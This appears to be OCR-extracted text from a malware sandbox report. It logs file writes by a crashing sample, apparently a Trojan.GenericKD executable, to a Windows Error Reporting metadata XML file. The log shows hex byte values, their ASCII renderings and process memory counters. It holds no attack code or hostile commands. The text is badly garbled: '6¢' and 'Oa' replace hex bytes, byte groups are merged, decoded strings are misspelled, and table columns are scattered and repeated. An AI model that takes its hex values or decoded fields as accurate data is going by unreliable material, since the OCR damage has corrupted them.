00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 30 3c 005000690064 <.P.i.d.>3.4.4.0.<./.P.i.d.>. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 3e 00 33 00 34 00

34 00 30 00 3c 00 2f
00 50 00 69 00 64 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 70 3c0049006d 0061 <..m.a.g.e.N.a.m.e.>.e.x.p success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 0067 006500 4e 00 .l.or.e.r..ex.e.

61 00 6d 00 6500 3e <./.lm.a.g.e.N.am.e>.
00 65 00 78 00 70 00

6¢ 00 6f 00 72 00 65

00 72 00 2e 00 65 00

78 00 65 00 3c 00 2f

00 49 00 6d 00 61 00

67 00 65 00 4e 00 61

00 6d 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 90 3c0043006d0064 <.C.m.d.L.i.n.e.S..g.n.a.t.u success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 4c 00 69 00 6e 00 .r.e.>.8.0.0.0.4.0.0.5.

65 005300690067 <./.C.m.
006e 0061007400 d.L.i.ne.S.ig.nature.>.
7500 72 00 65 00 3e

00 38 00 30 00 30 00

30 00 34 00 30 00 30

00 35 00 3c 00 2f 00

43 00 6d 00 64 00 4c

00 69 00 6e 00 65 00

53 00 69 00 67 00 6e

00 61 00 74 00 75 00

72 00 65 00 3e 00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 4

unknown 2

unknown 48

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 90

unknown 4

unknown 2

Length Value

0d 00 0a 00

09 00

3¢ 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 3500 34 00 32
00 31 00 31 00 31 00
36 00 3c 00 2f 00 55
00 70 00 74 00 69 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
30 00 22 00 20 00 68
00 6f 00 73 00 74 00
3d 00 22 00 33 00 34
00 34 00 30 00 34 00
2200 3e 0030 00 3c
00 2f 00 57 00 6f 00
77 00 36 00 34 00 3e
00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 34
00 32 00 39 00 34 00
39 00 36 00 37 00 32
00 39 00 35 00 3c 00
2f 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00

0d 00 0a 00

09 00

Ascii

<U.p.time>542111.
6.<./.U.p.ti.m.e.>.

.h.0.5.t.=.".3.4.4.0.4.".>.0.
<./W.o.w.6.4.>.

<.|.p.t.E.n.a.b.l.e.d.>.0.</.
l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.ce.s.s.V.m.Ln.fo.r.
m.a.t.i.o.n.>.

<.P.eak.V.irtualS.z.
e.>.4.2.9.4.9.6.7.2.9.5.
<./.P.
eak.\VirtualS.ize>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

4

1

1

5

Source

Address Symbol

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 74

unknown 4

unknown 2

unknown 76

unknown 4

unknown 2

unknown 100

unknown 4

unknown 2

unknown 84

unknown 4

unknown 2

unknown 114

Value

3c 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 34 00
320039 00 34 00 39
00 36 00 37 00 32 00
39 00 35 00 3c 00 2f
00 56 00 69 00 72 00
7400 7500 61 00 6¢
00 53 00 69 00 7a 00
65 00 3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
7400 3e 00 3500 31
00 37 00 36 00 30 00
3c 00 2f 00 50 00 61
00 67 00 65 00 46 00
61 00 75 00 6¢ 00 74
00 43 00 6f 00 75 00
6e 00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 57 00 6f 00

72 00 6b 00 69 00 6e
00 67 00 53 00 65 00
74 0053 0069 00 7a
00 65 00 3e 00 31 00
3000 37 00 31 00 34
00 33 00 31 00 36 00
38 00 3c 00 2f 00 50

00 65 00 61 00 6b 00
57 00 6f 00 72 00 6b

00 69 00 6e 00 67 00
53 00 65 00 74 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 72
00 6b 00 69 00 6e 00
67 00 53 00 65 00 74
00 53 00 69 00 7a 00
65 00 3e 00 31 00 30
00 36 00 38 00 35 00
320033003500 32
00 3c 00 2f 00 57 00
6f 00 72 00 6b 00 69
00 6e 00 67 00 53 00
65 00 74 00 53 00 69
00 7a 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 50
00 61 00 67 00 65 00
64 00 50 00 6f 00 6f
00 6¢ 00 55 00 73 00
61 00 67 00 65 00 3e
00 39 00 38 00 37 00
33 00 36 00 38 00 3c
00 2f 00 51 00 75 00
6f 00 74 00 61 00 50
00 65 00 61 00 6b 00
50 00 61 00 67 00 65
00 64 00 50 00 6f 00
6f 00 6¢ 00 55 00 73
00 61 00 67 00 65 00
3e 00

Ascii

<VirtualS.iz.e>42.
9.4.9.6.7.2.9.5.<./.V.irtu.

alS.iz.e>.

Completion

success or wait

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.0.u.n.t. success or wait

>.5.1.7.6.0.
<./.P.a.g.e.F.a.u.
L.t.C.o.u.n.t.>.

success or wait

success or wait

<.P.e.a.k.W.o.rk.i.n.g.S.e.t success or wait

.S.i.z.e.>.1.0.7.1.4.3.1.6.8.

<.

/.P.e.a.k.W.o.rk.i.n.g.S.e.t.

S.i.z.e>.

success or wait

success or wait

<W.o.rk..n.g.S.e.t.S.i.z.e. success or wait

>.1.0.6.8.5.2.3.5.2.
<..W.o.r.
ki.n.g.S.etS.i.z.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.P.a.g.e. success or wait

d.

P.o.0.l.U.s.a.g.e.>.9.8.7.3.

6.8.

<./.Q.u.o.t.a.P.e.ak.P.a.g.

e.d.P.o.0o.l.Us.a.g.e>.

Count Address

1

Source
Symbol

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset Length

unknown 4

unknown 2

unknown 98

unknown 4

unknown 2

unknown 124

unknown 4

unknown 2

unknown 108

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

Value

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 39
00 35 00 30 00 32 00
3300 32 00 3c 00 2f
00 51 00 75 00 6f 00
74 00 61 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 4e
00 6f 00 6e 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00
6¢ 00 55 00 73 00 61
00 67 00 65 00 3e 00
37 00 3500300033
00 32 00 3c 00 2f 00
51 00 75 00 6f 00 74
00 61 00 50 00 65 00
61 00 6b 00 4e 00 6f
00 6e 00 50 00 61 00
67 00 65 00 64 00 50
00 6f 00 6f 00 6¢ 00
5500 73 00 61 00 67
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 4e 00
6f 00 6e 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 37
00 33 00 33 00 37 00
36 00 3c 00 2f 00 51
00 75 00 6f 00 74 00
61 00 4e 00 6f 00 6e
00 50 00 61 00 67 00
65 00 64 00 50 00 6f
00 6f 00 6¢ 00 55 00
73 0061 00 67 00 65
00 3e 00

0d 00 0a 00

09 00

3c 0050 00 61 00 67
00 65 00 66 00 69 00
6¢ 00 65 00 55 00 73
00 61 00 67 00 65 00
3e 00 33 00 36 00 30
00 30 00 33 00 38 00
34 00 30 00 3c 00 2f
00 50 00 61 00 67 00
65 00 66 00 69 00 6¢
00 65 00 55 00 73 00
61 00 67 00 65 00 3e
00

0d 00 0a 00

09 00

Ascii Completion

success or wait

success or wait

<.Q.u.o.t.a.P.a.g.e.d.P.0.0. success or wait
lL.U.s.a.g.e.>.9.5.0.2.3.2.

<./.Q.

u.o.t.a.P.a.g.e.d.P.o.0.l.U.s

.a.g.e>.

success or wait

success or wait

<.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait
a.

g.e.d.P.o.0l.Us.a.g.e>.7.

5.0.3.2.

<./.Q.u.o.t.a.P.e.a.k.N.
o.n.P.a.g.e.d.P.o.0.l.U.s.a.

g.e>.

success or wait

success or wait

<.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait
P.

0.0..U.s.a.g.e.>.7.3.3.7.6.

<.

/.Q.u.o.t.a.N.o.n.P.a.g.e.d.
P.o.0.l.Us.a.g.e.>.

success or wait

success or wait

<.P.a.g.efile.U.s.a.g.e.> success or wait
3.6.0.0.3.8.4.0.

<./.P.a.g.ef.

ile.Us.a.g.e>.

success or wait

success or wait

Count Address

1

5

1

1

5

1

1

5

1

Source
Symbol
6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 94 3c 005000650061 <.P.e.ak.P.ag.efileU.s. success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 6b 0050 00 61 00 a.g.e.>.3.7.5.9.3.0.8.8.

67 00 6500 66 0069 <./.P.
00 6c 00 65005500 e.a.k.P.a.g.efile.U.s.ag.
73 006100670065 e.>.
00 3e 00 33 00 37 00

3500 39 00 33 00 30

00 38 00 38 00 3c 00

2f 00 50 00 65 00 61

00 6b 00 50 00 61 00

67 00 65 00 66 00 69

00 6¢ 00 65 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 74 3c005000720069 <.Private.U.s.a.g.e.>3. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 0076 0061007400 6.0.0.3.8.4.0.<./.P.riv.a.t.

65005500730061 e.Us.a.g.e>.
00 67 00 65 00 3e 00
33 00 36 00 30 00 30
00 33 00 38 00 34 00
30 00 3c 00 2f 00 50
00 72 00 69 00 76 00

61 00 74 00 65 00 55

00 73 00 61 00 67 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.\V.m.l.n.f.o. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P.r.o.c.e.s.s.lnfo.rm. success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 6f00 63006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 32 3c002f00500061 <./P.are.ntP.ro.c.e.s.s. success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 72 00 65 00 6e 00 >.

7400 50 00 72 00 6f
00 63 00 65 00 73 00

7300 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P..o.c.e.s.s.l.nfo.rm. success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 6f00 63 006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c 0050007200 6f <.P.r.o.b.le.m.S.i.g.n.a.t.u. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 62 00 6c 00 6500 r.e.s.>.

6d 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73
00 3e 00
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 62 3c00450076 0065 <.E.v.en.tT.y.p.e>AP.P. success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 006e 0074005400 C.RAS.H.

7900700065003e <./Ev.e.ntTy.p.e>.
00 41 00 50 00 50 00

430052 00 41 00 53

00 48 00 3c 00 2f 00

45 00 76 00 65 00 6e

00 74 00 54 00 79 00

70 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 8 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 16 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 150 3c005000610072 <.P.ar.am.e.te.r.0.>.S.e.c success or wait 8 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 61 00 6d 00 6500 .u.r.it.e.l.n.fo..c.om..T.

74006500720030 r.0j.a.n..G.e.ne.r.icKD.
003e 0053006500 Z.7.3.1.2.4..1.9.1.7.0...e.
63007500720069 x.e</P.aram.e.te.r.0.>
00 74 00 65 00 49 00
6e 00 66 00 6f 00 2e
00 63 00 6f 00 6d 00
2e 00 54 00 72 00 6f
00 6a 00 61 00 6e 00
2e 00 47 00 65 00 6e
00 65 00 72 00 69 00
63 00 4b 00 44 00 5a
00 2e 00 37 00 33 00
3100 32 00 34 00 2e
00 31 00 39 00 31 00
37 00 30 00 2e 00 65
00 78 00 65 00 3c 00
2f 00 50 00 61 00 72
00 61 00 6d 00 65 00
7400 65 00 72 00 30

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c002f00500072 <./P.ob.lem.sS.g.n.at successorwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 6f 00 62 00 6c 00  u.r.e.s.>.

65 00 6d 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c00440079006e <.D.y.n.am.i.c.S.i.g.n.a.t.u. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 0061 006d 006900 r.e.s.>.

63 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 6 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 12 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 96 3c005000610072 <.P.aram.e.te.r.1.>1.0.. success orwait 6 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 0061 006d 006500 0..1.7.1.3.4...2...0...0...2.

74006500720031 5.6..4.8.</P.aram.e.te.
003e 0031003000 r.1.>.
2e 00 30 00 2e 00 31

00 37 00 31 00 33 00

34 00 2e 00 32 00 2e

00 30 00 2e 00 30 00

2e 00 32 00 35 00 36

00 2e 00 34 00 38 00

3c 00 2f 00 50 00 61

00 72 00 61 00 6d 00

65 00 74 00 65 00 72

00 31 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 40

unknown 4

unknown 2

unknown 38

unknown 4

unknown 2

unknown 94

unknown 4

unknown 2

unknown 106

unknown 4

unknown 2

unknown 96

unknown 4

unknown 2

Length Value

3c 00 2f 00 44 00 79
00 6e 00 61 00 6d 00
69 00 63 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

3c 00 4d 00 49 00 44
00 3e 00 41 00 32 00
4100 42 00 35 00 32
00 36 00 41 00 2d 00
44 00 33 00 38 00 44
00 2d 00 34 00 46 00
4300 39 00 2d 00 38
00 42 00 41 00 30 00
2d 00 45 00 33 00 34
00 42 00 38 00 44 00
36 00 33 00 35 00 34
00 45 00 38 00 3c 00
2f 00 4d 00 49 00 44
00 3e 00

0d 00 0a 00

09 00

3¢ 0053007900 73
00 74 00 65 00 6d 00
4d 00 61 00 6e 00 75
00 66 00 61 00 63 00
74007500 72 00 65
00 72 00 3e 00 77 00
69 00 75 00 6¢ 00 6f
00 69 00 2c 00 20 00
49 00 6e 00 63 00 2e
00 3c 00 2f 00 53 00
7900 73 00 74 00 65
00 6d 00 4d 00 61 00
6e 00 75 00 66 00 61
00 63 00 74 00 75 00
72006500 7200 3e
00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
50 00 72 00 6f 00 64
00 75 00 63 00 74 00
4e 00 61 00 6d 00 65
